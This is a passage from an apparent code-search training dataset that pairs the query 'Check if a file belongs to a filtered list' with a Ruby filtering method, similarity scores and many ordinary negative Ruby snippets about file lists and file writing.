"def scan_directory(path, options, name=nil)\n data = {}\n Dir.foreach(path) do |filename|\n\n # Check to see if we should skip this file. We skip invisible files\n # (starts with \".\"), ignored files, and promoted files (which are\n # handled later in the process).\n next if (filename[0] == '.')\n next if (filename == '..' || filename == '.')\n next if options.ignore_files.include? filename\n\n if options.promote_files.include? filename\n original_path = path.sub(/^#{app.config[:source]}/, '') + '/' + filename\n @existing_promotes << original_path\n next\n end\n\n full_path = File.join(path, filename)\n if File.directory?(full_path)\n # This item is a directory.\n # Check to see if we should ignore this directory.\n next if options.ignore_dir.include? filename\n\n # Loop through the method again.\n data.store(filename.gsub(' ', '%20'), scan_directory(full_path, options, filename))\n else\n\n # This item is a file.\n if !options.ext_whitelist.empty?\n # Skip any whitelisted extensions.\n next unless options.ext_whitelist.include? File.extname(filename)\n end\n\n original_path = path.sub(/^#{app.config[:source]}/, '') + '/' + filename\n data.store(filename.gsub(' ', '%20'), original_path.gsub(' ', '%20'))\n end\n end\n\n # Return this level's data as a hash sorted by keys.\n return Hash[data.sort]\n end",
"def takeFilesNames\nDir['result*.*'].each do |file_name|\n @files_names.push(file_name)\nend\nend"
] |
[
"0.74646044",
"0.7428158",
"0.7200932",
"0.71115106",
"0.7060374",
"0.70054036",
"0.6957089",
"0.6934524",
"0.69087696",
"0.69009435",
"0.67964023",
"0.6771534",
"0.6763491",
"0.67522866",
"0.674859",
"0.6719598",
"0.6716525",
"0.6701915",
"0.6701915",
"0.669391",
"0.66651946",
"0.6603598",
"0.66028357",
"0.6599894",
"0.65851015",
"0.65569115",
"0.6542183",
"0.65254843",
"0.64996505",
"0.6487761",
"0.6467565",
"0.64642066",
"0.644977",
"0.6447771",
"0.6438948",
"0.6433317",
"0.64319265",
"0.6423918",
"0.6415698",
"0.6408051",
"0.63975763",
"0.63829654",
"0.6381502",
"0.637946",
"0.6375896",
"0.63732195",
"0.6372072",
"0.63586444",
"0.6332484",
"0.6318268",
"0.6317447",
"0.63170457",
"0.6300207",
"0.6295748",
"0.6287777",
"0.6262959",
"0.6248649",
"0.62464637",
"0.6244901",
"0.6240356",
"0.62367177",
"0.6232781",
"0.623259",
"0.6219036",
"0.6216165",
"0.6214493",
"0.62135255",
"0.62011325",
"0.61839116",
"0.616849",
"0.61556643",
"0.61536103",
"0.61496913",
"0.61430407",
"0.6141602",
"0.613206",
"0.61281097",
"0.6123462",
"0.61189955",
"0.6115335",
"0.6092529",
"0.6092529",
"0.60861844",
"0.6074333",
"0.60688716",
"0.6067197",
"0.60612684",
"0.60557115",
"0.6040818",
"0.6039227",
"0.60153",
"0.6012487",
"0.599783",
"0.599431",
"0.59914005",
"0.59913164",
"0.5986551",
"0.5977054",
"0.5967847",
"0.5967141"
] |
0.7056008
|
5
|
Check if a file belongs to a filtered list
|
def file_is_filtered?(path_cand)
filename = File.basename(path_cand)
ix = @filter_file.index(filename)
if ix
log "FILTER: #{path_cand}"
return true
else
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def is_a_list?(file)\n !!(file =~ /list$/)\n end",
"def include?(file)\n @file_list.include?(file.basename)\n end",
"def contain?(*files)\n files.all? { |file| entries.detect { |entry| File.fnmatch(file, entry.to_s) } }\n end",
"def contain?(filename); end",
"def file_is_filtered?(path_cand)\n filename = File.basename(path_cand)\n extname = File.extname(filename)\n ix_ext = @filter_extension.index(extname)\n ix = @filter_file.index(filename)\n if ix or ix_ext\n log \"FILTER: #{path_cand}\" \n return true\n else\n return false\n end\n end",
"def filter_entries(file_entry_name, file_entry_type, ignore_entries)\n return true if ignore_entries == nil\n ignore_entries.each do |entry|\n return false if (file_entry_type.casecmp(FileEntryType::FILE) == 0) && (file_entry_name.include? entry)\n end\n return true\n end",
"def filtered(files); end",
"def has_listed_files?\n file_count = 0\n all_valid = true\n files_file_path = FileLocations.files_file_path(@source_dir)\n ::CSV.foreach(files_file_path, headers: true).each do |csv_row|\n next if csv_row.blank?\n # Each file listed in FILES.csv should be valid\n row = strip_csv_row(csv_row)\n file_count += 1\n all_valid = all_valid && has_valid_file?(row, file_count)\n end\n # FILES.csv should have atleast 1 row\n unless file_count > 0\n @errors << \"Metadata file #{files_file_path} has no rows\"\n all_valid = false\n end\n # There should be no unverified files\n all_valid\n end",
"def in_dir_whitelist?(file, whitelist)\n whitelist.each do |dir|\n return true if file[dir]\n end\n false\n end",
"def has_local_match?(files)\n files.each do |file|\n return true if self.drive_path == file.sub_path\n end\n false\n end",
"def filter(files)\n ruleset.watchlist.filter(files)\n #case ruleset.ignore\n #when Ignore\n # ruleset.ignore.filter(list)\n #when Array\n # list.reject!{ |path| ignore.any?{ |ig| /^#{ig}/ =~ path } }\n #else\n # list\n #end\n end",
"def filter(file, fixture)\n # return ['affix_InterveningEmpty.json'].include?(File.basename(file))\n # File.basename(file) =~ /bugreports_greek/i\n # File.basename(file) =~ /sort_stripmark/i\n # return File.basename(file) =~ /^date_rawparsesimpledate/i\n true\nend",
"def exists(files)\r\n files.each do |f|\r\n if f.name == 'Code Review Report'\r\n return f.id\r\n end\r\n end\r\n false\r\nend",
"def should_filter?(file)\n filter && !filter.call(file)\n end",
"def examineFileList(fileList, alreadyExamined, &block)\r\n fileList.each { |fileName|\r\n # dont examine the same file 2 times\r\n if not alreadyExamined.has_key?(fileName) then\r\n # set that we have seen this file\r\n alreadyExamined[fileName] = true\r\n \r\n # on the first iteration just load all of the files into the foundList\r\n if @firstLoad then\r\n @foundFiles[fileName] = URLWatcher::FoundFile.new(fileName,false)\r\n else\r\n # see if we have found this file already\r\n foundFile = @foundFiles[fileName]\r\n\r\n if foundFile then\r\n if foundFile.isNew? then\r\n block.call(CREATED, fileName)\r\n end\r\n else\r\n # this is a new file for our list.\r\n @foundFiles[fileName] = URLWatcher::FoundFile.new(fileName)\r\n block.call(CREATED, fileName)\r\n end\r\n end\r\n end\r\n }\r\n end",
"def user_visible(filename)\n exclusion_list = Regexp.union(EXCLUSION_LIST)\n not filename.match(exclusion_list)\nend",
"def user_visible(filename)\n exclusion_list = Regexp.union(EXCLUSION_LIST)\n !filename.match(exclusion_list)\nend",
"def contain?(*files)\n path(\"\").contain?(*files)\n end",
"def IsFiltered(filename)\n\t([\"./config.h\", \"./configWIN32.h\"].index(filename) != nil) or\n\t(filename =~ /^.\\/intl\\//) or\n\t(filename =~ /CryptoPP/)\nend",
"def files_in_use file=nil\n if block_given?\n return yield(file) unless @files_in_use.include?(file)\n end\n\n return @files_in_use unless file\n return unless Lux.config.log_to_stdout\n\n file = file.sub './', ''\n\n if @files_in_use.include?(file)\n true\n else\n @files_in_use.push file\n false\n end\n end",
"def defined_in?(file)\n @in_files.include?(file)\n end",
"def defined_in?(file)\n @in_files.include?(file)\n end",
"def check_list_file(file, outlist)\n unless File.exists?(file)\n raise \"Can't find file \\\"#{opts.input}\\\"\"\n end\n File.open(file, \"r\").each_line do |line|\n unless line.nil?\n outlist << line.chomp\n end\n end\nend",
"def check_list(inlist, outlist)\n p inlist, outlist\n outlist += inlist.split(\":\")\n p outlist\n outlist.map! { |file| File.expand_path(file) }\n outlist.each do |file|\n unless File.exists?(file)\n raise \"Can't find file \\\"#{file}\\\"\"\n end\n end\nend",
"def checkFileRightstoResultsinVersionlist\n # Get first blob and check if it is a private file\n if first = @results.first()\n if first.devfile.privatefile == true\n # Check that user has signed in\n # If user is client, see if it is signed in\n if params[:i_am_client]\n username = authenticateClient\n \n # If user is signed in\n elsif session[:username]\n username = session[:username].to_s\n end\n \n # If username was not found, return false\n if username == nil\n return false\n end\n \n user = User.find_by_username(username)\n \n # If user was not found, return false\n if user == nil\n return false\n end\n \n # If user owns the file, he can access it\n if username == first.devfile.device.user.username\n return true\n end\n \n # Groups user is in\n user_groups = user.groups\n \n # Groups file is in\n fileinGroups = DevfileAuthGroup.find_all_by_devfile_id(first.devfile_id)\n \n # Check if file is in one of those groups\n fileinGroups.each do |x|\n if user_groups.find_by_id(x.group_id) != nil\n return true\n end\n end\n \n # Find device the file is in. Is user authorized to access files of the device.\n deviceinGroups = DeviceAuthGroup.find_all_by_device_id(first.devfile.device.id)\n deviceinGroups.each do |d|\n if user_groups.find_by_id(d.group_id) != nil\n return true\n end\n end\n \n return false\n end\n else\n return false\n end\n # User is allowed to access versionlist\n return true\n end",
"def cover_in(files)\n fnames = files.map { |f| f.basename.to_s }\n fnames.include?('front.jpg')\n end",
"def files_filtering files\n return files unless @file_regexp\n f = files.select do |file|\n test_name_by_date file\n end\n f\n end",
"def glob_include?(enumerator, entry); end",
"def files_match?\n @fixture.files == @local.files\n end",
"def self_on_list?(paths)\n paths.any? { |path| self.match?(path) }\n end",
"def file_matches_criteria?(full_path)\n full_path.file? && proper_ext?(full_path) &&\n !LokaliseRails.skip_file_export.call(full_path)\n end",
"def includes?(data)\n list.includes?(data)\n end",
"def excluded_from_list?(fn)\n return true if @exclude_patterns.any? do |pat|\n case pat\n when Regexp\n fn =~ pat\n when GLOB_PATTERN\n flags = File::FNM_PATHNAME\n # Ruby <= 1.9.3 does not support File::FNM_EXTGLOB\n flags |= File::FNM_EXTGLOB if defined? File::FNM_EXTGLOB\n File.fnmatch?(pat, fn, flags)\n else\n fn == pat\n end\n end\n @exclude_procs.any? { |p| p.call(fn) }\n end",
"def check_file(filenames)\n filenames.select{ |f| File.exists?(f) }.first\n end",
"def filter_nonexistent(modified_files); end",
"def search_from_file whitelist, test_case\n tests = file_to_array test_case\n whitelist = file_to_array whitelist\n whitelist.sort!\n\n tests.each { |num| check_number(num, whitelist) }\n end",
"def in_excluded_files(filename)\n unless @options[:exclude].nil? || @excluded_files.empty?\n @excluded_files.each do |excluded_file|\n return true if filename.eql? \"#{excluded_file}\"\n end\n false\n end\n false\n end",
"def include?(file)\n all_files.include? file\n end",
"def files; entries.find_all {|e| e.is_a? SiteFile} end",
"def contains(value, list)\n assert_type list, :List\n \n Sass::Script::Bool.new(list.value.include?(value))\n end",
"def matches(filter)\n return true unless filter\n filter = filter.downcase\n @title.downcase.include?(filter) ||\n @id.downcase.include?(filter) ||\n !(@aliases.select { |a| a.downcase.include?(filter) }.empty?) ||\n @path.downcase.include?(filter)\n end",
"def user_can_access_files user\n recordings.each do |recording|\n return true if recording.update_common_work_ids.include? user.id\n end\n return false\n end",
"def include?(list,tst)\n list.each {|itm| return true if itm == tst}\n false\nend",
"def any_added?(files)\n files.any? { |file| added? file }\n end",
"def accept_checklist(filename)\n return $marathon_trace_func.acceptChecklist(filename)\nend",
"def ok_to_add_file(file, file_path)\n file_tags = file[\"tags\"] || []\n (files.size == 0 || files.any_matches?(file_path)) &&\n !exclude_files.any_matches?(file_path) &&\n (tags.size == 0 || (cross_any_matches?(file_tags, tags)) &&\n !cross_any_matches?(file_tags, exclude_tags))\n end",
"def file_match(file)\n end",
"def index\n raise ArgumentError, 'Missing file parameter' if filename.blank?\n\n @available_in_workspace = Dor::Services::Client.object(params[:item_id]).files.list.include?(filename)\n\n respond_to do |format|\n format.html { render layout: !request.xhr? }\n end\n end",
"def test_exist?(file)\n return true if data[:childrens].select{|a| a[:file] == file }.size > 0\n end",
"def file_sets\n @iss_file.file_sets.select {|fs| fs.components.include? name }\n end",
"def _is_in(token, list)\n return false unless list\n list.include?(token[1])\n end",
"def matches_file?(f)\r\n @magics.any? {|m| m =~ f }\r\n end",
"def check_files\n @files.delete_if do |file|\n if File.exist? file then\n if File.readable? file then\n false\n else\n warn \"file '#{file}' not readable\"\n\n true\n end\n else\n warn \"file '#{file}' not found\"\n\n true\n end\n end\n end",
"def ignored?(fn)\n @ignored.any? { |spec| File.fnmatch spec, fn }\n end",
"def entry_in_history_list(entry, list)\n name = entry.start_with?(\".ro/\") ? entry.sub(\".ro/\", \"\") : \"/#{entry}\"\n list.include?(name)\nend",
"def ffilterf(fname1 fname2)\n if fexistf fname1 && fexistf fname2\n (eval \"$#{fname2}\").each do |i|\n if not i.equal? \"#{fname2},set\" && not i.equal? \"#{fname2},slots\"\n if not (eval \"$#{fname1}\").key?(i)\n eval \"$#{fname2}\".delete(i)\n end\n end\n end\n return true\n else\n return false\n end\nend",
"def filters_include?(filter_value, filter_list: :filters)\n flatten_filters(filter_list).map(&:downcase).include? filter_value.downcase\n end",
"def accept_checklist(filename)\n return $marathon_trace_func.acceptChecklist(filename)\nend",
"def has_file?(filename)\n self.files.detect {|f| f[:name] == filename }.present?\n end",
"def document_entries\n entries.select{ |f| File.file?(File.join(path,f)) }\n end",
"def check_list (list, item)\n if list.include?(item) == true\n puts \"You need to pick up \" + item\n else\n puts \"You do not need to pick up \" + item\n end\nend",
"def contains_files? dir\n contains_files = false\n Dir.entries(dir).each { |entry| contains_files = true if File.file? dir+entry}\n contains_files\nend",
"def has_specs?\n FileList[spec_pattern].any?\n end",
"def x__files_list_filtered(a_filelist, a_file_types, verbose=false)\n x__abort_unless_is_an_array(a_filelist, verbose)\n filtered_list_raw = []\n a_filelist.each do |file|\n filetype = x__file_type(file, verbose=true)\n if filetype == \"directory\" and a_file_types.include?(:directories)\n filtered_list_raw << file\n elsif filetype == \"file\" and a_file_types.include?(:regular_files)\n filtered_list_raw << file\n elsif filetype == \"link\" and a_file_types.include?(:symbolic_links)\n filtered_list_raw << file\n end\n end\n filtered_list_raw.sort\n end",
"def file_exists?(paths, file)\n paths.any? do |path|\n Find.find(path)\n .map { |path_file| Shellwords.escape(path_file) }\n .include?(file)\n end\n end",
"def list_exists?(name)\n @lists.detect { |list| list.name == name }\n end",
"def file_owned?(file, item)\n file.owner_item_type == item.class.name && file.owner_item_id == item.id\n end",
"def item_in_list(check, list)\n list.each do |item|\n if check == item\n return true\n end\n end\nend",
"def check_file\n @files.each do |file|\n case \n when file.fnmatch(\"*Verbale autorizzativo*\") then check_verbale(estrai_allegato(file))\n when file.fnmatch(\"*Prezzi_Offerte*\") then check_controllo_offerte(file)\n when file.fnmatch(\"*Validate_Eni*\") then check_offerte(file)\n when file.fnmatch(\"*Esitate_Eni*\") then check_offerte(file)\n when file.fnmatch(\"*ProgrFisica*\") then check_offerte_pce(file)\n when file.fnmatch(\"*Scheduling & Bilateral Program*\") then check_scheduling_bilateral(file)\n when file.fnmatch(\"*tool autorizzazione offerte belpex*\") then check_tool_belgio(file)\n when file.fnmatch(\"*Export E-prog46_ita.xls\") then check_tool_olanda(file) \n when file.fnmatch(\"*Validate_*_*.docx\") then check_validate_epex(file) \n when file.fnmatch(\"*Esitate_Francia_*.csv\") then check_esitate_epex(file)\n when file.fnmatch(\"*Esitate_Germania_*.csv\") then check_esitate_epex(file) \n when file.fnmatch(\"*Esitate_Svizzera_*.csv\") then check_esitate_epex(file) \n else\n\n end\n end\n end",
"def validate_file_list_contents\n keys = self.original_file_list.map(&:keys).flatten.uniq.sort\n unless (keys & FILE_LIST_KEYS) == keys\n errors.add(:original_file_list, \" is formatted incorrectly. This must be an array of Hashes with the keys #{FILE_LIST_KEYS.join(', ')}.\" )\n end\n self.original_file_list.each do |file|\n unless StudyFile::STUDY_FILE_TYPES.include?(file['file_type'])\n errors.add(:original_file_list, \" contains a file of an invalid type: #{file['file_type']}\")\n end\n end\n unless match_bundle_type.any?\n errors.add(:original_file_list, \" does not contain a file of the specified bundle type: #{self.bundle_type}\")\n end\n if match_bundle_type.size > 1\n errors.add(:original_file_types, \" contains files of incompatible types: #{match_bundle_type.join(', ')}\")\n end\n end",
"def query_by_duplicates\n tmp = self.clone\n tmp.list = list.select {|k,v| v.filename.count > 1}\n end",
"def contains? path\n @contents.any? do |line|\n File.fnmatch? line, path\n end\n end",
"def etag_matches?(list, etag, new_resource)\n return unless list\n return !new_resource if list == '*'\n list.to_s.split(/\\s*,\\s*/).include?(etag)\n end",
"def include?(filename)\n \n end",
"def check_data_files(bib_id)\n search_string = '<field name=\"id\">ldpd_' + \"#{bib_id}\" + '</field>'\n result = false\n result = Dir.glob(File.join(CONFIG[:clio_bib_id_data_dir],'*.xml')).any? do |file|\n data_file_contains_string?(file, search_string)\n end\n result\n end",
"def files?\n id == \"NSFilenamesPboardType\"\n end",
"def in?(*list)\n for item in list\n self === item and return true\n end\n false\n end",
"def file_set?(resource)\n resource.respond_to?(:file_metadata) && !resource.respond_to?(:member_ids)\n end",
"def files_for(user)\n files.select { |f| f.can_read? user }\n end",
"def search_in(options)\n files = options[:for_files]\n directory = options[:directory]\n if directory\n dir_files = files_in_directory(directory)\n files.select { |file| dir_files.include?(file) }\n else\n files\n end\n end",
"def include?(key)\n status = @repo.staging_area.file_status(key)\n ![:unknown, :removed].include?(status)\n end",
"def populate_list_of_files_from_file(file_list, entry)\n logger.debug \"\\\"#{entry}\\\" is a file. Processing...\"\n file_list << entry\n # Find images if any\n Find.find(File.dirname(entry)) do |file|\n file_list << file if (File.file?(file) && is_image?(file))\n end\n end",
"def include?(item)\n ret = false\n @resources.each{ |rsc| ret = true if rsc == item }\n @authors.each{ |auth| ret = true if auth == item } unless ret \n ret\n end",
"def excludes_file?(file)\n excluded_files.include?(file)\n end",
"def contains?(str)\n return false unless ::File.exist?(self)\n ::File.open(self, &:readlines).collect { |l| return true if l.match(str) }\n false\n end",
"def tests_for_file(filename)\n super.select { |f| @files.has_key? f }\n end",
"def visited? fullname\n return @visited_files.index fullname\nend",
"def compare_list(attrs={})\n match = true\n # assume linux\n md5sum = \"md5sum\"\n md5sum = \"md5\" if node.platform == \"freebsd\"\n\n attrs['compare_list'].each do |src_file, dst_file|\n src = `#{md5sum} #{Chef::Config[:file_cache_path]}/#{attrs['src_dir']}/#{src_file}`.split(/\\s+/)\n dst = `#{md5sum} #{attrs['prefix']}/#{dst_file}`.split(/\\s+/)\n if (src[0] != dst[0]) || src[0].nil? || dst[0].nil?\n p \"#{src_file} #{attrs['prefix']}/#{dst_file}\"\n p \"#{src[0]} #{dst[0]}\"\n match = false\n end\n end\n return match\nend",
"def has_valid_owners_for_all_files?\n num_owned_by_wlmaster = num_files_owned_by_user('wlmaster')\n num_owned_by_wluser = num_files_owned_by_user('wluser')\n num_total = num_files_total\n # if all the files are owned by either 'wlmaster' or 'wluser', then\n # num_total must be equal to the sum of num_owned_by_wlmaster and num_owned_by_wluser.\n # If this condition is not matched, that means, there is at least one file\n # or directory, which is not owned by either of them.\n num_total == (num_owned_by_wlmaster + num_owned_by_wluser)\n end",
"def selected? fullname\n return @selected_files.index fullname\nend",
"def has_access_to_file(file_id, user_id)\n if get_all_user_data(user_id).first[\"rank\"] >= 1\n return true\n end\n \n owner_id = $db.execute(\"SELECT owner_id FROM files WHERE file_id = ?\", file_id).first[\"owner_id\"]\n if owner_id == user_id\n return true\n end\n\n shared_users = $db.execute(\"SELECT user_id FROM shared_files WHERE file_id = ?\", file_id)\n shared_users.each do |user|\n if user[\"user_id\"] == user_id\n return true\n end\n end\n return false\nend",
"def item_in_list(to_check, the_list)\n the_list.each { |item|\n if to_check == item\n return true\n end\n }\n false\nend",
"def added?(file)\n @added.any?(file) || @untracked.any?(file)\n end",
"def existence_check_fn(criteria, against)\n File.basename(against).starts_with?(criteria[:prefix])\n end",
"def exists?(path)\n files.include?(path)\n end",
"def existing\n select { |fn| File.exist?(fn) }.uniq\n end",
"def file_list\n end",
"def matchFn(filename)\n\treturn [\".txt\", \".pdf\"].include? File.extname(filename)\nend",
"def glob_include?(enum, entry)\n entry_path = Pathutil.new(site.in_source_dir).join(entry)\n enum.any? do |exp|\n # Users who send a Regexp knows what they want to\n # exclude, so let them send a Regexp to exclude files,\n # we will not bother caring if it works or not, it's\n # on them at this point.\n\n if exp.is_a?(Regexp)\n entry_path =~ exp\n\n else\n item = Pathutil.new(site.in_source_dir).join(exp)\n\n # If it's a directory they want to exclude, AKA\n # ends with a \"/\" then we will go on to check and\n # see if the entry falls within that path and\n # exclude it if that's the case.\n\n if entry.end_with?(\"/\")\n entry_path.in_path?(\n item\n )\n\n else\n File.fnmatch?(item, entry_path) ||\n entry_path.to_path.start_with?(\n item\n )\n end\n end\n end\n end",
"def has_valid_file?(row, row_index)\n # Ignore FILES.csv\n filepath = get_data_path(row.fetch('path'))\n return false if filepath.nil?\n return true if filepath.end_with?(FileLocations.files_file_name)\n # the file exists on disk\n return false unless has_file?(filepath, row_index)\n # The file size matches\n has_size = has_required_size?(filepath, row, row_index)\n # The hash matches\n has_hash = has_required_hash?(filepath, row, row_index)\n # Files ias added to list of cheked files\n @checked_files_in_file << filepath\n has_size && has_hash\n end"
] |
[
"0.6734807",
"0.6655667",
"0.6525753",
"0.6483904",
"0.64350283",
"0.6399568",
"0.63880754",
"0.62969625",
"0.62524265",
"0.621504",
"0.61851245",
"0.6160544",
"0.61192656",
"0.61191905",
"0.6102729",
"0.6097756",
"0.60534346",
"0.6006311",
"0.59216404",
"0.59093404",
"0.5908177",
"0.5908177",
"0.5893031",
"0.58906585",
"0.5825988",
"0.58229095",
"0.5822196",
"0.5797985",
"0.57696944",
"0.57453454",
"0.57437843",
"0.57431984",
"0.5727432",
"0.56862664",
"0.5669172",
"0.5666636",
"0.5617732",
"0.5591125",
"0.5585989",
"0.5585",
"0.55787295",
"0.55782664",
"0.55739427",
"0.5571316",
"0.55691236",
"0.55636615",
"0.5544192",
"0.5543075",
"0.55382615",
"0.55356723",
"0.553449",
"0.5533922",
"0.5533204",
"0.5524022",
"0.55180395",
"0.5513019",
"0.55073196",
"0.5499946",
"0.5496664",
"0.54746354",
"0.5473549",
"0.5471767",
"0.5466674",
"0.54577446",
"0.5453044",
"0.5448879",
"0.5445734",
"0.5445108",
"0.54321593",
"0.54311484",
"0.5430588",
"0.5423536",
"0.542241",
"0.5416897",
"0.54148537",
"0.53980213",
"0.53979075",
"0.53931236",
"0.53856784",
"0.53848445",
"0.5384407",
"0.5379956",
"0.53781134",
"0.5377624",
"0.53757876",
"0.53666013",
"0.5356636",
"0.53499085",
"0.53436047",
"0.5342197",
"0.53421646",
"0.53408647",
"0.5336645",
"0.53338534",
"0.53321165",
"0.5329224",
"0.53273964",
"0.53248656",
"0.5324385",
"0.53225976"
] |
0.67684704
|
0
|
Write the list into a file
|
def write_filelist(out_file_list)
result_list.each{|f| log f}
File.open(out_file_list, "w") do |file|
result_list.each do |item|
file << item
file << "\n"
end
log "File list created #{out_file_list}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_list_to_file(filename, data)\n file = File.open(filename, \"w\")\n data.each do |d|\n file.write(d.to_s + \"\\n\")\n end\n file.close unless file.nil?\nend",
"def write_out_list list, list_path\n output = File.new list_path, \"w\"\n if list.class == Array\n list.each do\n |app|\n output.puts \"#{app[0]} #{app[1]}\"\n end\n elsif list.class == Hash\n list.each do\n |app,count|\n output.puts \"#{app} #{count}\"\n end\n end\n output.flush\n output.close\nend",
"def write_to_file(filename = \"listsave\")\n\t\tIO.write(filename, @tasks.map(&:to_s).join(\"\\n\"))\n\t\tputs \"List has been successfully saved to #{filename}...\"\n\tend",
"def saveListToFile()\n\t\t# f is going to equal data.txt with the 'write' capability:\n\t\tf = File.new('data.txt', 'w')\n\n\t\t# write searchSuggestionList to data.txt:\n\t\tf.write(\"#{@searchSuggestionList}\")\n\n\t\t# close data.txt/ end writing:\n\t\tf.close\n\tend",
"def list_2_file (list,file)\n\t\tputs \"Save list #{list} to plain file #{file}\" if @verbose\n\t\tbegin\n\t\t\tf = File.open(file, \"w\")\n\t\t\tlist.map do |ent|\n\t\t\t\t#ent.strip!\n\t\t\t\t# Append the unix line break\n\t\t\t\tf.write(\"#{ent}\\n\")\n\t\t\tend\n\t\t\tf.close\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for file #{file}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def save_workouts(workoutlist, file) \n File.open(file, 'w') { |file| \n for workout in workoutlist do\n file.write(\"Start Time: #{workout.start_time}\\n\")\n for exercise in workout.exercises do\n file.write(\" #{exercise.to_string()}\\n\")\n for set in exercise.sets do\n file.write(\" #{set.to_string()}\\n\")\n end\n end\n \n file.write(\"\\n\")\n end\n }\n end",
"def build_volume_list_file(volume_list, path)\n File.write(path, volume_list.join(\"\\n\"))\n end",
"def write(file)\n self.files.each { |l| file.puts l }\n end",
"def save_list(file_path)\n jsonArray = @array.map { |property| \n {\n \"property_id\": property.property_id,\n \"type\": property.type,\n \"address\": {\n \"street_number\": property.address[:street_number],\n \"street_name\": property.address[:street_name],\n \"suburb\": property.address[:suburb]\n },\n \"weekly_rent\": property.rent,\n \"status\": property.status,\n \"landlord\": {\n \"first_name\": property.landlord.first_name,\n \"last_name\": property.landlord.last_name\n },\n \"tenant\": {\n \"first_name\": property.tenant.first_name,\n \"last_name\": property.tenant.last_name\n }\n }\n }\n \n File.write(file_path, JSON.pretty_generate(jsonArray))\n end",
"def write_array_to_file\n lines = File.new('members.txt', 'w')\n\n @@member_array.each_with_index do | member |\n lines.puts \"#{member.member_id}/#{member.member_name}/#{member.book_id_1}/#{member.book_id_2}/#{member.book_id_3}\"\n end\n lines.close\n end",
"def writePlist\n\t\tFile.open(\"#{@outdir}/PLIST\", \"w\") do |plist|\n\t\t\t@finalFiles.each do |line|\n\t\t\t\tline = line.chomp\n\n\t\t\t\tok = true\n\t\t\t\tif @options[:missing_files] == false then\n\t\t\t\t\tfiletlm = @options[:tlmaster] + \"/\" + line\n\t\t\t\t\tif (File.exist?(filetlm.chomp) == false) then\n\t\t\t\t\t\tok = false\n\t\t\t\t\t\tputs \"*warning: missing file ignored: \" + filetlm\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif ok then\n # the .to_s is for in case the variable is nil\n\t\t\t\t\tplist.write @options[:fileprefix].to_s + line + \"\\n\"\n\t\t\t\t\tif @options[:add_dirs] then\n\t\t\t\t\t\taddDir(line)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# add directory entries to satisfy openbsd pkgtools\n\t\t\tif @options[:add_dirs] then\n\t\t\t\t@dirList.each do |file|\n # the .to_s is for in case the variable is nil\n\t\t\t\t\tplist.write @options[:fileprefix].to_s + file + \"/\\n\"\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def write_array_to_file\n lines = File.new('aperm.txt', 'w+')\n\n @@book_class.each_with_index do | book |\n lines.puts \"#{book.id}/#{book.title}/#{book.author}/#{book.due_date}\"end\n lines.close\n end",
"def write_file_list\n if EventMachine.reactor_thread? || !@update_lock.locked?\n raise 'Should not write file list in reactor thread or without' \\\n ' the local list lock!'\n end\n\n FileUtils.mkdir_p config.config_dir\n @local_file_list.root['CID'] = SecureRandom.hex(12).upcase\n output = @local_file_list.to_s(:indent => true)\n Bzip2::Writer.open(local_file_list_path, 'wb') { |f| f << output }\n @share_size = nil\n\n output = Marshal.dump([@local_file_info, @shared_directories])\n File.open(cache_file_list_path, 'wb'){ |f| f << output }\n end",
"def output_vs_post_list(post_list,output_file)\n file=File.open(output_file, 'a')\n post_list.each do |line|\n output=line+\"\\n\"\n file.write(output)\n end\n file.close\n return\nend",
"def output_vs_post_list(post_list,output_file)\n file=File.open(output_file, 'a')\n post_list.each do |line|\n output=line+\"\\n\"\n file.write(output)\n end\n file.close\n return\nend",
"def write_acct_file (acct_numbers_array, number_acct_fields)\r\n file_name = \"data/accounts\"\r\n output_file = File.open(file_name,\"w\")\r\n \r\n acct_numbers_array.each {|a| output_file.puts a}\r\n output_file.close\r\nend",
"def _write filename, array\n File.open(filename, \"w\") do |file| \n array.each { |row| file.puts row }\n end\n end",
"def flush_to_file(hit_list)\n File.open($config[:output], 'a') do |file|\n file.puts(hit_list)\n end\nrescue => e\n puts \"Error writing to output file #{$config[:output]}\"\n raise e\nend",
"def to_file(dest_fname)\n\tplaylist_arr\t= []\n\t\n\t@list_arr.each { |item|\n\t\tplaylist\t= Neoip::Playlist_t.from_file(item['filename']);\n\t\tplaylist_title\t= playlist.jspf['title'];\n\t\tplaylist_id\t= playlist.jspf['identifier'];\n\t\texternal_dep\t= playlist.jspf['extension']['external_dep'];\n\t\n\t\t# build the item to add\n\t\tarr_item\t= {};\n\t\tarr_item['playlist_title']\t= playlist_title;\n\t\tarr_item['playlist_uid']\t= item['uid'];\n\t\tarr_item['external_dep']\t= external_dep || {};\n\t\n\t\t# add this item in the playlist_arr\n\t\tplaylist_arr.push(arr_item);\n\t}\n\t\n\t# write the playlist_arr into a file using JSON format\n\tjson_data\t= JSON.pretty_generate(playlist_arr)\n\tFile.open(dest_fname, 'w+'){|f| f.write(json_data) }\nend",
"def write_content(file_out)\n file_out.puts(@array)\n end",
"def write_to_file(filename)\n IO.write(filename, @all_tasks.map(&:display).join(\"\\n\"))\n\tend",
"def save_to_file(emails)\n # Open the file with writing permission\n File.open(\"email_sent_list.txt\",\"w\") do |file|\n # Iterate the array\n emails.each do |email|\n # Write in the file to save output\n file.write(\"Email successfully sent to #{email}\\n\")\n end\n end \nend",
"def figlist_to_file(filepath)\n File.open(filepath, \"w\") do |file|\n file << self.generate_figlist\n end\n end",
"def write(file)\n value.each do |item|\n # always write int4 in network order (as per GDSII spec)\n file.write [item].pack('N')\n end\n end",
"def writeToFile(aCollection, aFilename)\n\trows = aCollection.collect { | sighting |\n\t\tsighting.to_ebird_record_format()\n\t}\n\n\tFile.open(aFilename, 'w') { |file|\n\t\trows.each do | row |\n\t\t\tfile.write(\"%s\\n\" % row.join(','))\n\t\tend\t\n\t}\t\n\n\tputs \"wrote %d sightings to %s\" % [aCollection.count(), aFilename]\nend",
"def write_file(file_name_out, content_array)\n\n\toutput = File.new(file_name_out, 'w')\n\tcontent_array.each { |line| output.write line }\n\toutput.close\nend",
